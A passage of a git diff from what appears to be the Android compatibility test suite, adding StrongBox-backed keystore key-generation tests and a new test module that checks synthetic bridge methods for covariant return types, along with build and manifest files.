+        Date keyValidityEndDateForConsumption = new Date(System.currentTimeMillis() + 10000000);
+
+        Date certNotBefore = new Date(System.currentTimeMillis() - 1000L * 60 * 60 * 24 * 210);
+        Date certNotAfter = new Date(System.currentTimeMillis() + 1000L * 60 * 60 * 24 * 210);
+        BigInteger certSerialNumber = new BigInteger("1234567890");
+        X500Principal certSubject = new X500Principal("cn=hello2");
+        generator.initialize(new KeyGenParameterSpec.Builder(
+                TEST_ALIAS_1,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT)
+                .setAlgorithmParameterSpec(
+                        new RSAKeyGenParameterSpec(2048, RSAKeyGenParameterSpec.F0))
+                .setKeySize(2048)
+                .setDigests(KeyProperties.DIGEST_SHA256)
+                .setSignaturePaddings(KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                        KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
+                .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
+                        KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1)
+                .setKeyValidityStart(keyValidityStart)
+                .setKeyValidityForOriginationEnd(keyValidityEndDateForOrigination)
+                .setKeyValidityForConsumptionEnd(keyValidityEndDateForConsumption)
+                .setCertificateSerialNumber(certSerialNumber)
+                .setCertificateSubject(certSubject)
+                .setCertificateNotBefore(certNotBefore)
+                .setCertificateNotAfter(certNotAfter)
+                .setUnlockedDeviceRequired(true)
+                .setIsStrongBoxBacked(true)
+                .build());
+        KeyPair keyPair = generator.generateKeyPair();
+        assertGeneratedKeyPairAndSelfSignedCertificate(
+                keyPair,
+                TEST_ALIAS_1,
+                "RSA",
+                2048,
+                certSubject,
+                certSerialNumber,
+                certNotBefore,
+                certNotAfter);
+        assertEquals(RSAKeyGenParameterSpec.F0,
+                ((RSAPublicKey) keyPair.getPublic()).getPublicExponent());
+        KeyInfo keyInfo = TestUtils.getKeyInfo(keyPair.getPrivate());
+        assertEquals(2048, keyInfo.getKeySize());
+        assertEquals(TEST_ALIAS_1, keyInfo.getKeystoreAlias());
+        assertOneOf(keyInfo.getOrigin(),
+                KeyProperties.ORIGIN_GENERATED, KeyProperties.ORIGIN_UNKNOWN);
+        assertEquals(
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY
+                        | KeyProperties.PURPOSE_ENCRYPT,
+                keyInfo.getPurposes());
+        assertEquals(keyValidityStart, keyInfo.getKeyValidityStart());
+        assertEquals(keyValidityEndDateForOrigination, keyInfo.getKeyValidityForOriginationEnd());
+        assertEquals(keyValidityEndDateForConsumption, keyInfo.getKeyValidityForConsumptionEnd());
+
+        List<String> actualDigests =
+	    new ArrayList<String>(Arrays.asList(keyInfo.getDigests()));
+        // Keystore may have added DIGEST_NONE, to allow software digesting.
+        actualDigests.remove(KeyProperties.DIGEST_NONE);
+        TestUtils.assertContentsInAnyOrder(
+                actualDigests, KeyProperties.DIGEST_SHA256);
+
+        TestUtils.assertContentsInAnyOrder(Arrays.asList(keyInfo.getSignaturePaddings()),
+                KeyProperties.SIGNATURE_PADDING_RSA_PKCS1,
+                KeyProperties.SIGNATURE_PADDING_RSA_PSS);
+        MoreAsserts.assertContentsInAnyOrder(Arrays.asList(keyInfo.getBlockModes()),
+                KeyProperties.BLOCK_MODE_ECB);
+
+        List<String> actualEncryptionPaddings =
+                new ArrayList<String>(Arrays.asList(keyInfo.getEncryptionPaddings()));
+        // Keystore may have added ENCRYPTION_PADDING_NONE, to allow software padding.
+        actualEncryptionPaddings.remove(KeyProperties.ENCRYPTION_PADDING_NONE);
+        TestUtils.assertContentsInAnyOrder(actualEncryptionPaddings,
+                KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
+                KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
+
+        assertFalse(keyInfo.isUserAuthenticationRequired());
+        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+    }
+
     public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
+        testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_UsableForTLSPeerAuthHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                .setDigests(KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA384)
+                .setDigests(KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA256)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -920,7 +1130,7 @@
         KeyInfo keyInfo = TestUtils.getKeyInfo(keyPair.getPrivate());
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getBlockModes()));
         MoreAsserts.assertContentsInAnyOrder(Arrays.asList(keyInfo.getDigests()),
-                KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA384);
+                KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA256);
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
         assertSelfSignedCertificateSignatureVerifies(TEST_ALIAS_1);
@@ -972,6 +1182,13 @@
     // that at least one fingerprint is enrolled.
 
     public void testGenerate_EC_ModernSpec_KeyNotYetValid() throws Exception {
+        testGenerate_EC_ModernSpec_KeyNotYetValidHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_ModernSpec_KeyNotYetValidHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_KeyNotYetValidHelper(boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         Date validityStart = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         generator.initialize(new KeyGenParameterSpec.Builder(
@@ -980,6 +1197,7 @@
                 .setKeySize(256)
                 .setDigests(KeyProperties.DIGEST_SHA256)
                 .setKeyValidityStart(validityStart)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build());
         KeyPair keyPair = generator.generateKeyPair();
         assertGeneratedKeyPairAndSelfSignedCertificate(
@@ -1025,27 +1243,47 @@
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(256, ECCurves.NIST_P_256_SPEC);
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(384, ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECSizeOnlyUsesCorrectCurve(521, ECCurves.NIST_P_521_SPEC);
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingECSizeOnlyUsesCorrectCurve(256, ECCurves.NIST_P_256_SPEC, true);
+        }
     }
 
+    //TODO: Fix b/113108008 so this test will pass for strongbox.
     public void testGenerate_EC_ModernSpec_UnsupportedSizesRejected() throws Exception {
         for (int keySizeBits = 0; keySizeBits <= 1024; keySizeBits++) {
+            testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(false, keySizeBits);
+            if (TestUtils.hasStrongBox(getContext())) {
+                testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(true, keySizeBits);
+            }
+        }
+    }
+
+    private void testGenerate_EC_ModernSpec_UnsupportedSizesRejectedHelper(boolean useStrongbox, int keySizeBits) throws Exception {
+        if (!useStrongbox) {
             if ((keySizeBits == 224) || (keySizeBits == 256) || (keySizeBits == 384)
                     || (keySizeBits == 521)) {
                 // Skip supported sizes
-                continue;
+                return;
             }
-            KeyPairGenerator generator = getEcGenerator();
+        } else {
+            // Strongbox only supports 256 bit EC key size
+            if (keySizeBits == 256) {
+                return;
+            }
+        }
+        KeyPairGenerator generator = getEcGenerator();
 
-            try {
-                generator.initialize(new KeyGenParameterSpec.Builder(
-                        TEST_ALIAS_1,
-                        KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                        .setKeySize(keySizeBits)
-                        .build());
-                fail("EC KeyPairGenerator initialized with unsupported key size: "
-                        + keySizeBits + " bits");
-            } catch (InvalidAlgorithmParameterException expected) {
-            }
+        try {
+            generator.initialize(new KeyGenParameterSpec.Builder(
+                    TEST_ALIAS_1,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                    .setKeySize(keySizeBits)
+                    .setIsStrongBoxBacked(useStrongbox)
+                    .build());
+            fail("EC KeyPairGenerator initialized with unsupported key size: "
+                    + keySizeBits + " bits. useStrongbox: " + useStrongbox
+                    + "\nThis test will fail until b/113108008 is resolved");
+        } catch (InvalidAlgorithmParameterException expected) {
         }
     }
 
@@ -1062,6 +1300,15 @@
         assertKeyGenUsingECNamedCurveSupported("prime256v1", ECCurves.NIST_P_256_SPEC);
         assertKeyGenUsingECNamedCurveSupported("PRIME256V1", ECCurves.NIST_P_256_SPEC);
 
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingECNamedCurveSupported("P-256", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("p-256", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("secp256r1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("SECP256R1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("prime256v1", ECCurves.NIST_P_256_SPEC, true);
+            assertKeyGenUsingECNamedCurveSupported("PRIME256V1", ECCurves.NIST_P_256_SPEC, true);
+        }
+
         assertKeyGenUsingECNamedCurveSupported("P-384", ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECNamedCurveSupported("p-384", ECCurves.NIST_P_384_SPEC);
         assertKeyGenUsingECNamedCurveSupported("secp384r1", ECCurves.NIST_P_384_SPEC);
@@ -1078,6 +1325,9 @@
         assertKeyGenUsingRSASizeOnlySupported(768);
         assertKeyGenUsingRSASizeOnlySupported(1024);
         assertKeyGenUsingRSASizeOnlySupported(2048);
+        if (TestUtils.hasStrongBox(getContext())) {
+            assertKeyGenUsingRSASizeOnlySupported(2048, true);
+        }
         assertKeyGenUsingRSASizeOnlySupported(3072);
         assertKeyGenUsingRSASizeOnlySupported(4096);
 
@@ -1088,8 +1338,16 @@
     }
 
     public void testGenerate_RSA_IndCpaEnforced() throws Exception {
+        testGenerate_RSA_IndCpaEnforcedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_RSA_IndCpaEnforcedHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerate_RSA_IndCpaEnforcedHelper(boolean useStrongbox) throws Exception {
         KeyGenParameterSpec.Builder goodBuilder = new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1, KeyProperties.PURPOSE_ENCRYPT)
+                .setIsStrongBoxBacked(useStrongbox)
                 .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_OAEP,
                         KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
         assertKeyGenInitSucceeds("RSA", goodBuilder.build());
@@ -1119,8 +1377,16 @@
     }
 
     public void testGenerate_EC_IndCpaEnforced() throws Exception {
+        testGenerate_EC_IndCpaEnforcedHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerate_EC_IndCpaEnforcedHelper(true /* useStrongbox */);
+        }
+    }
+
+    public void testGenerate_EC_IndCpaEnforcedHelper(boolean useStrongbox) throws Exception {
         KeyGenParameterSpec.Builder goodBuilder = new KeyGenParameterSpec.Builder(
-                TEST_ALIAS_2, KeyProperties.PURPOSE_ENCRYPT);
+                TEST_ALIAS_2, KeyProperties.PURPOSE_ENCRYPT)
+                .setIsStrongBoxBacked(useStrongbox);
         assertKeyGenInitSucceeds("EC", goodBuilder.build());
 
         // Should be fine because IND-CPA restriction applies only to encryption keys
@@ -1143,6 +1409,13 @@
 
     // http://b/28384942
     public void testGenerateWithFarsiLocale() throws Exception {
+        testGenerateWithFarsiLocaleHelper(false /* useStrongbox */);
+        if (TestUtils.hasStrongBox(getContext())) {
+            testGenerateWithFarsiLocaleHelper(true /* useStrongbox */);
+        }
+    }
+
+    private void testGenerateWithFarsiLocaleHelper(boolean useStrongbox) throws Exception {
         Locale defaultLocale = Locale.getDefault();
         // Note that we use farsi here because its number formatter doesn't use
         // arabic digits.
@@ -1159,6 +1432,7 @@
                    TEST_ALIAS_1, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
                    .setBlockModes(KeyProperties.BLOCK_MODE_ECB)
                    .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1)
+                   .setIsStrongBoxBacked(useStrongbox)
                    .build());
 
             keyGenerator.generateKeyPair();
@@ -1184,11 +1458,17 @@
 
     private void assertKeyGenUsingECSizeOnlyUsesCorrectCurve(
             int keySizeBits, ECParameterSpec expectedParams) throws Exception {
+        assertKeyGenUsingECSizeOnlyUsesCorrectCurve(keySizeBits, expectedParams, false);
+    }
+
+    private void assertKeyGenUsingECSizeOnlyUsesCorrectCurve(
+            int keySizeBits, ECParameterSpec expectedParams, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setKeySize(keySizeBits)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
@@ -1214,11 +1494,16 @@
 
     private void assertKeyGenUsingECNamedCurveSupported(
             String curveName, ECParameterSpec expectedParams) throws Exception {
+        assertKeyGenUsingECNamedCurveSupported(curveName, expectedParams, false);
+    }
+    private void assertKeyGenUsingECNamedCurveSupported(
+            String curveName, ECParameterSpec expectedParams, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setAlgorithmParameterSpec(new ECGenParameterSpec(curveName))
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
@@ -1243,11 +1528,16 @@
     }
 
     private void assertKeyGenUsingRSASizeOnlySupported(int keySizeBits) throws Exception {
+        assertKeyGenUsingRSASizeOnlySupported(keySizeBits, false);
+    }
+
+    private void assertKeyGenUsingRSASizeOnlySupported(int keySizeBits, boolean useStrongbox) throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
                 .setKeySize(keySizeBits)
+                .setIsStrongBoxBacked(useStrongbox)
                 .build(),
                 mRng);
         mRng.resetCounters();
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
new file mode 100644
index 0000000..cabb0c9
--- /dev/null
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreApiEvolutionTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/libcoreapievolution/AndroidManifest.xml b/tests/tests/libcoreapievolution/AndroidManifest.xml
new file mode 100644
index 0000000..f89f5fd
--- /dev/null
+++ b/tests/tests/libcoreapievolution/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.apievolution.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.apievolution.cts"
+                     android:label="CTS tests for required method signatures on device">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/libcoreapievolution/AndroidTest.xml b/tests/tests/libcoreapievolution/AndroidTest.xml
new file mode 100644
index 0000000..5f8d6e9
--- /dev/null
+++ b/tests/tests/libcoreapievolution/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Legacy Libcore test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLibcoreApiEvolutionTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.apievolution.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="screenshot-on-failure" value="false" />
+    </object>
+</configuration>
diff --git a/tests/tests/libcoreapievolution/OWNERS b/tests/tests/libcoreapievolution/OWNERS
new file mode 100644
index 0000000..c10ca24
--- /dev/null
+++ b/tests/tests/libcoreapievolution/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../../libcore/OWNERS
diff --git a/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java b/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java
new file mode 100644
index 0000000..8fea09b
--- /dev/null
+++ b/tests/tests/libcoreapievolution/src/android/apievolution/cts/ApiEvolutionTest.java
@@ -0,0 +1,227 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.apievolution.cts;
+
+import org.junit.Test;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.DoubleBuffer;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.nio.LongBuffer;
+import java.nio.ShortBuffer;
+import java.text.ParseException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * A test to ensure that platform bytecode is as expected to enable API evolution.
+ */
+public class ApiEvolutionTest {
+
+    /**
+     * Tests for the presence of a synthetic overload for a subclass method override
+     * that has a more specific (sub-) return type, but doesn't carry any annotation.
+     */
+    @Test
+    public void testCovariantReturnTypeMethods_specializingSubclass() throws Exception {
+        // Exceptions are not required to be identical in this case because the synthetic method
+        // mirrors the superclass version.
+        assertSyntheticMethodOverloadExists(
+                Sub.class, "myMethod", new Class[] { Integer.class },
+                String.class, Object.class,
+                false /* requireIdenticalExceptions */);
+    }
+
+    /**
+     * Tests for the presence of a synthetic overload for {@link ConcurrentHashMap#keySet}
+     * that must be introduced by the platform build tools in response to the presence of a
+     * {@link dalvik.annotation.codegen.CovariantReturnType} annotation. http://b/28099367
+     */
+    @Test
+    public void testCovariantReturnTypeMethods_annotation_concurrentHashMap() throws Exception {
+        assertSyntheticMethodOverloadExists(ConcurrentHashMap.class, "keySet", null, Set.class,
+                ConcurrentHashMap.KeySetView.class, true);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_byteBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(ByteBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_charBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(CharBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_doubleBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(DoubleBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_floatBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(FloatBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_intBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(IntBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_longBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(LongBuffer.class);
+    }
+
+    @Test public void testCovariantReturnTypeMethods_annotation_shortBuffer() throws Exception {
+        assertSyntheticBufferMethodOverloadsExists(ShortBuffer.class);
+    }
+
+    /**
+     * Asserts the presence of synthetic methods overloads for methods that return {@code this} on
+     * {@link Buffer} subclasses, and which are annotated with {@code @CovariantReturnType}.
+     * In OpenJDK 9 the return types were changed from {@link Buffer} to be the subclass's type
+     * instead. http://b/71597787
+     */
+    private static void assertSyntheticBufferMethodOverloadsExists(Class<? extends Buffer> c)
+            throws Exception {
+        assertSyntheticBufferMethodOverloadExists(c, "position", new Class[] { Integer.TYPE });
+        assertSyntheticBufferMethodOverloadExists(c, "limit", new Class[] { Integer.TYPE });
+        assertSyntheticBufferMethodOverloadExists(c, "mark", null);
+        assertSyntheticBufferMethodOverloadExists(c, "reset", null);
+        assertSyntheticBufferMethodOverloadExists(c, "clear", null);
+        assertSyntheticBufferMethodOverloadExists(c, "flip", null);
+        assertSyntheticBufferMethodOverloadExists(c, "rewind", null);
+    }
+
+    private static void assertSyntheticBufferMethodOverloadExists(
+            Class<? extends Buffer> bufferClass, String methodName, Class[] parameterTypes)
+            throws Exception {
+        assertSyntheticMethodOverloadExists(bufferClass, methodName, parameterTypes,
+                Buffer.class /* originalReturnType */,
+                bufferClass /* syntheticReturnType */,
+                true  /* requireIdenticalExceptions */);
+    }
+
+    private static void assertSyntheticMethodOverloadExists(
+            Class<?> clazz, String methodName, Class[] parameterTypes,
+            Class<?> originalReturnType, Class<?> syntheticReturnType,
+            boolean requireIdenticalExceptions) throws Exception {
+
+        if (parameterTypes == null) {
+            parameterTypes = new Class[0];
+        }
+        String fullMethodName = clazz + "." + methodName;
+
+        // Assert we find the original, non-synthetic version using getDeclaredMethod().
+        Method declaredMethod = clazz.getDeclaredMethod(methodName, parameterTypes);
+        assertEquals(originalReturnType, declaredMethod.getReturnType());
+
+        // Assert both versions of the method are returned from getDeclaredMethods().
+        Method original = null;
+        Method synthetic = null;
+        for (Method method : clazz.getDeclaredMethods()) {
+            if (methodMatches(methodName, parameterTypes, method)) {
+                if (method.getReturnType().equals(syntheticReturnType)) {
+                    synthetic = method;
+                } else if (method.getReturnType().equals(originalReturnType)) {
+                    original = method;
+                }
+            }
+        }
+        assertNotNull("Unable to find original signature: " + fullMethodName
+                + ", returning " + originalReturnType, original);
+        assertNotNull("Unable to find synthetic signature: " + fullMethodName
+                + ", returning " + syntheticReturnType, synthetic);
+
+        // Check modifiers are as expected.
+        assertFalse(original.isSynthetic());
+        assertFalse(original.isBridge());
+        assertTrue(synthetic.isSynthetic());
+        assertTrue(synthetic.isBridge());
+
+        int originalModifiers = original.getModifiers();
+        int syntheticModifiers = synthetic.getModifiers();
+
+        // These masks aren't in the public API but are defined in the dex spec.
+        int syntheticMask = 0x00001000;
+        int bridgeMask = 0x00000040;
+        int mask = syntheticMask | bridgeMask;
+        assertEquals("Method modifiers for " + fullMethodName
+                        + " are expected to be identical except for SYNTHETIC and BRIDGE."
+                        + " original=" + Modifier.toString(originalModifiers)
+                        + ", synthetic=" + Modifier.toString(syntheticModifiers),
+                originalModifiers | mask,
+                syntheticModifiers | mask);
+
+        // Exceptions are not required at method resolution time but we check they're the same in
+        // most cases for completeness.
+        if (requireIdenticalExceptions) {
+            assertArrayEquals("Exceptions for " + fullMethodName + " must be compatible",
+                    original.getExceptionTypes(), synthetic.getExceptionTypes());
+        }
+
+        // Android doesn't support runtime type annotations so nothing to do for them.
+
+        // Type parameters are *not* copied because they're not needed at method resolution time.
+        assertEquals(0, synthetic.getTypeParameters().length);
+
+        // Check method annotations.
+        Annotation[] annotations = original.getDeclaredAnnotations();
+        assertArrayEquals("Annotations differ between original and synthetic versions of "
+                + fullMethodName, annotations, synthetic.getDeclaredAnnotations());
+        Annotation[][] parameterAnnotations = original.getParameterAnnotations();
+        // Check parameter annotations.
+        assertArrayEquals("Annotations differ between original and synthetic versions of "
+                + fullMethodName, parameterAnnotations, synthetic.getParameterAnnotations());
+    }
+
+    private static boolean methodMatches(String methodName, Class[] parameterTypes, Method method) {
+        return method.getName().equals(methodName)
+                && Arrays.equals(parameterTypes, method.getParameterTypes());
+    }
+
+    /** Annotation used in return type specialization tests. */
+    @Retention(RetentionPolicy.RUNTIME)
+    private @interface TestAnnotation {}
+
+    /** Base class for return type specialization tests. */
+    private static class Base {
+        protected Object myMethod(Integer p1) throws Exception {
+            return null;
+        }
+    }
+
+    /** Sub class for return type specialization tests. */
+    private static class Sub extends Base {
+        @TestAnnotation
+        @Override
+        protected String myMethod(@TestAnnotation Integer p1) throws ParseException {
+            return null;
+        }
+    }
+}
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
new file mode 100644
index 0000000..8a599e7
--- /dev/null
+++ b/tests/tests/libcorefileio/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLibcoreFileIOTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    libs: ["android.test.base.stubs"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/libcorefileio/Android.mk b/tests/tests/libcorefileio/Android.mk
deleted file mode 100644
index 9af3751..0000000
--- a/tests/tests/libcorefileio/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
